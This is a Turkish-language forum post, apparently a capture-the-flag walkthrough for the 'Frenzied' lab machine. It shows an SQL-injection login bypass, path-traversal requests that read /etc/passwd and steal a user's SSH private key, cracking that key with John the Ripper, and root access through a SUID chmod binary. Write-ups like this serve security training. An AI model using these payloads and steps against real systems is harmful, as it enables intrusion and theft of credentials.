Frenzy Makine Çözümü | PwnlabmeCTF 2025

  • Konbuyu başlatan Konbuyu başlatan mel4mi
  • Başlangıç tarihi Başlangıç tarihi

mel4mi

Team Member
Katılım
24 Ocak 2024
Mesajlar
5
Tepkime puanı
9
Puanları
3
Merhabalar, bugün sizlerle Frenzied makinesinin çözümüne bakacağız.

Makineyi tanımak adına ilk başta nmap taraması başlatıyorum:

Bash:
nmap -A -F 192.168.1.108

1.png

5000 portu üzerinde HTTP servisi açık olduğunu gözlemliyoruz. Şimdi 5000. portu ziyaret edelim.

2.png

Bir hackertyper sayfası karşımıza çıkıyor. Daha fazla bilgi edinmek için path taraması başlatıyoruz:

Bash:
dirsearch -u http://192.168.1.108:5000/

3.png


İki adet adres karşımıza çıkıyor. Adreslere baktığımızda, sonunda giriş (login) yapmak zorunda olduğumuzu görüyoruz. Bu yüzden /login path'ine gidiyoruz.

4.png


Login olmak için elimde bir bilgi olmadığı için SQL injection ile giriş yapmayı deniyorum:

SQL:
admin' OR 1=1 -- -
5.png

Gördüğünüz üzere giriş yapabildik. Giriş yaptıktan sonra elimizde birçok fotoğrafın bulunduğu bir albüm var. Sitenin kaynak kodlarına baktığımızda, yorum satırı içinde eski bir endpoint olduğunu fark ediyoruz.

6.png

Burada önemli iki nokta var:
  1. GET isteğiyle /get_case?case="bir şeyler bir şeyler"&password="bir şeyler bir şeyler" adresine istek atılabiliyor.
  2. Başlangıç için case'in "FirstStep" olduğu belirtilmiş.
O zaman yukarıdaki adresi kullanarak "FirstStep" için bir istek atalım:
Kod:
http://192.168.1.108:5000/get_case=FirstStep

10.png


Bu istek bize bir ses dosyası verdi.
Bash:
strings output.wav | tail

11.png


Bu komutu yazdığımızda, ses dosyasının en altında "HiddenWave" yazdığını gözlemliyoruz. İnternette "HiddenWave" arattığımızda bir GitHub projesine ulaşıyoruz. Projeyi indirip ses dosyasındaki saklanmış metni ortaya çıkarıyoruz:

Bash:
python3 ExWave.py -f output.wav

12.png

Şifreyi elde ettik. Şimdi bulduğumuz şifreyle tekrar endpointi deneyelim:

Bash:
curl http://192.168.1.108:5000/get_case=FirstStep&password=thispasswordismylittlesecret
14.png

Ancak Case not found hatası aldık. Bu durumda aklıma ilk olarak LFI (Local File Inclusion) denemesi geliyor ve aşağıdaki payload'ı kullanıyorum:
Bash:
curl http://192.168.1.108:5000/get_case=../../../../../../../../../../../../etc/passwd&password=thispasswordismylittlesecret

15.png

Gördüğünüz üzere, passwd dosyasını okuyabiliyoruz. LFI saldırısını RCE'ye (Remote Code Execution) çevirmek için birçok yöntem var, ancak burada ihtiyacımız olan şey .ssh dizinindeki id_rsa anahtarını çalmak. Bunun için:

Bash:
curl http://192.168.1.108:5000/get_case=../../../../../../../../../../../home/frenzied_flame/.ssh/id_rsa&password=thispasswordismylittlesecret<br>

16.png

id_rsa anahtarını ele geçirdik. Şimdi bu anahtarın şifresini kıracağız, ardından izinleri ayarlayıp bağlanacağız:

Kod:
ssh2john id_rsa > hash.txt #id_rsa dan hash elde etmek
john --format=SSH --wordlist=/usr/share/wordlists/rockyou.txt #elde ettigimiz hashi kirmak
chmod 600 id_rsa #id_rsa keyine gerekli yetkileri vermek

17.png

Şifreyi kırdık ve izinleri ayarladık. Artık bağlantı kurabiliriz:

Bash:
ssh -i id_rsa [email protected]

18.png

Bağlandık. home dizini altından user flag'i okuyoruz.

19.png

Yetki yükseltmek için bu sefer LinPEAS kullanıyorum. LinPEAS ile sistemi taradığımda, /usr/local/bin/chmod programına SUID biti ayarlandığını görüyorum. Bu durumu GTFOBins ile sömürmeyi kontrol ediyorum.

Ekran görüntüsü 2025-01-09 211341.png

Aşağıdaki komutları kullanarak istediğimiz dosyayı okuyabiliriz:

Kod:
LFILE=okunacak_dosya
/usr/local/bin/chmod 6777 $LFILE

Kısa yol: Doğrudan LFILE=/root/ dizinini eklerseniz klasör içeriğini okuyabilirsiniz.
Uzun yol: chmod ile chown bitlerini ayarlayıp, /etc/shadow dosyasının sahipliğini kendimize alabiliriz. Bu sayede root şifresini istediğimiz bir şifreyle değiştirip root olabiliriz.

Aşağıda iki farklı yöntemle root flag gösterilmiştir.

23.png



Umarım makineyi keyifle çözersiniz.

Saygılarımla,
Mel4mi
 

Ekli dosyalar

  • 23.png
    23.png
    37.4 KB · Görüntüleme: 2
Geri
Üst